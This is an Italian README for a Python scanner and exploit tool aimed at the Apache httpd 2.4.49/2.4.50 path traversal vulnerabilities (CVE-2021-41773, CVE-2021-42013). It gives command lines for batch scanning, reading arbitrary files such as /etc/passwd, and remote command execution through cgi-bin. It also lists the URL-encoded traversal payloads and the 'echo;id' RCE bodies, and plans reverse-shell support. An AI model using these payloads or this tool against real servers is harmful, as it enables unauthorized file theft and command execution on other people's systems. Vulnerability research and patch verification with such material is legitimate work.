
Controllore di path traversal per apache httpd (CVE-2021-41773 / CVE-2021-42013)
Il 05/10/2021 è stata divulgata online la vulnerabilità di directory traversal di Apache httpd 2.4.49 (cve-2021-41773), che può causare lettura arbitraria di file (se la directory attraversata è consentita, ad esempio configurata con <Directory />Require all granted</Directory>, non consentita di default) o esecuzione di comandi (la RCE richiede l'abilitazione di CGI; il modulo CGI non è incluso di default).
Il 08/10/2021 è uscita la directory traversal di 2.4.50 (cve-2021-42013), che aggira il fix di cve-2021-41773.
Riferimento per i dettagli della vulnerabilità: Riproduzione e analisi della vulnerabilità di directory traversal di Apache httpd 2.4.49/2.4.50
Esegui con python3
Uso: python3 apache-httpd-path-traversal.py -h

Rilevamento di un singolo URL: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"


Rilevamento batch: python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

Lettura file: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

Esecuzione comandi: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

Invia pacchetti HTTP utilizzando urllib.request.
La verifica della vulnerabilità si basa sulla lettura di /etc/passwd per determinare se i dati restituiti contengono la stringa "root:" (poiché la maggior parte dei sistemi è Linux, per ora il rilevamento su Windows viene ignorato).
Multithread, con timeout selezionabile per aumentare l'efficienza.
Directory esistenti selezionabili (--cdir) e shell per la RCE (--rceshell), per garantire flessibilità.
Durante il rilevamento viene utilizzato un elenco di possibili directory comuni per aumentare il tasso di successo. commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']
Nota: a volte la lettura dei file sfrutta la directory icons, mentre la RCE richiede la directory cgi-bin; valutare caso per caso.
Vengono utilizzati 7 formati di PoC e 2 formati di dati POST per la RCE:
#cve-2021-41773 poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"
#cve-2021-42013 poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"
poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"
poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"
#rce data rce0 = "echo;id"
rce1 = "echo Content-Type: text/plain; echo; id"
// Sembra che anche cambiare il metodo POST della RCE in GET funzioni. // Il payload deve uscire in base alla profondità dei percorsi di Apache; di solito 4 livelli bastano. // È necessaria una directory esistente di Apache, ad esempio icons/ o cgi-bin/.
Potrebbe essere aggiunto il rilevamento per sistemi Windows.
Potrebbero essere aggiunte ulteriori tecniche di sfruttamento come la reverse shell.
gmail: [email protected]